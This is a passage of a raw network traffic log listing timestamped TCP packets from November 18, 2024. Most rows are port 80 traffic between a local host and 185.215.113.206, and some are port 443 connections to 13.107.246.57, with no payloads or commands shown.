Nov 18, 2024 08:55:47.724512100 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724522114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724534035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724536896 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724570036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724591017 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724607944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724627018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724641085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724651098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724653959 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724664927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724674940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724678040 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724678040 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724694014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724699020 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724705935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724716902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724729061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724730015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724729061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724739075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724747896 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724751949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724766016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724793911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724870920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724915981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724934101 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724951029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724992037 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725008965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725028038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725042105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725063086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725071907 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725075960 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725087881 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725095034 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725100994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725111961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725122929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725135088 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725138903 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725176096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725176096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725390911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725403070 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725414991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725426912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725440025 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725445032 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725449085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725470066 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725497961 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725522995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725533962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725553989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725564003 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725565910 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725579023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725589991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725596905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725604057 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725615978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725635052 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725656033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725667953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725673914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725680113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725691080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725702047 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725703955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725712061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725720882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725723028 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725750923 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725836039 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725874901 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725887060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725898027 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725909948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725919962 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725920916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725934982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.725945950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.725991964 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726042032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726053953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726064920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726095915 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726099968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726111889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726121902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726133108 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726145029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726161003 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726166010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726176977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726183891 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726186991 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726190090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726197004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726252079 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726255894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726269007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726279974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726290941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726290941 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726303101 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726313114 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726315022 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726325989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726336002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726336956 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726350069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726361036 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726367950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726367950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726373911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726387024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726387978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726397991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.726409912 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.726449013 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.728904963 CET	49953	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.728939056 CET	443	49953	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.729053974 CET	49953	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.736304045 CET	49954	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.736345053 CET	443	49954	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.736403942 CET	49954	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.736793995 CET	49955	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.736823082 CET	443	49955	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.736880064 CET	49955	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.737170935 CET	49953	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.737188101 CET	443	49953	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.738859892 CET	49956	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.738888979 CET	443	49956	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.738949060 CET	49956	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.739592075 CET	49957	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.739612103 CET	443	49957	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.739784002 CET	49957	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.740407944 CET	49954	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.740422010 CET	443	49954	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.747349977 CET	49955	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.747370005 CET	443	49955	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.764404058 CET	49956	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.764415979 CET	443	49956	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.769364119 CET	49957	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.769387960 CET	443	49957	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.842161894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842183113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842195988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842206955 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842220068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842231035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842247963 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842278957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842307091 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842343092 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842361927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842377901 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842390060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842417002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842441082 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842444897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842444897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842457056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842466116 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842482090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842500925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842510939 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842511892 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842523098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842535019 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842545033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842546940 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842556000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842567921 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842569113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842583895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842593908 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842602968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842611074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842613935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842626095 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842633963 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842638016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842650890 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842664003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842665911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842693090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842714071 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842746973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842757940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842767954 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842781067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842791080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842799902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842819929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842819929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842875957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842886925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842899084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842921019 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842941999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842942953 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.842983007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.842997074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843005896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843022108 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843036890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843242884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843252897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843265057 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843291044 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843302011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843398094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843409061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843419075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843430996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843441963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843446016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843446016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843452930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843462944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843472004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843478918 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843482971 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843492985 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843497992 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843502998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843513012 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843523026 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843534946 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843544960 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843585014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843614101 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843630075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843641043 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843653917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843657970 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843664885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843677044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843678951 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843693018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843700886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843704939 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843714952 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843727112 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843730927 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843730927 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843745947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843759060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843771935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843772888 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843782902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843790054 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843792915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843806028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843816042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843816042 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843826056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843832016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843838930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843843937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843848944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843849897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843854904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843859911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843875885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843885899 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843904972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843915939 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843921900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843923092 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843935013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843944073 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843946934 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843956947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.843971014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.843998909 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844053030 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844063044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844073057 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844084024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844094038 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844103098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844113111 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844113111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844127893 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844137907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844139099 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844146967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844150066 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844175100 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844221115 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844249964 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844261885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844273090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844288111 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844311953 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844337940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844348907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844358921 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844371080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844378948 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844388008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844405890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844429016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844501972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844528913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844541073 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844551086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844557047 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844563007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844567060 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844573021 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844587088 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844588995 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844604015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844614029 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844615936 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844625950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844630957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844638109 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844647884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844655991 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844669104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844682932 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844686031 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844696999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844707966 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844731092 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844747066 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844758987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844777107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844786882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844813108 CET	49844	80	192.168.2.7	185.215.113.206
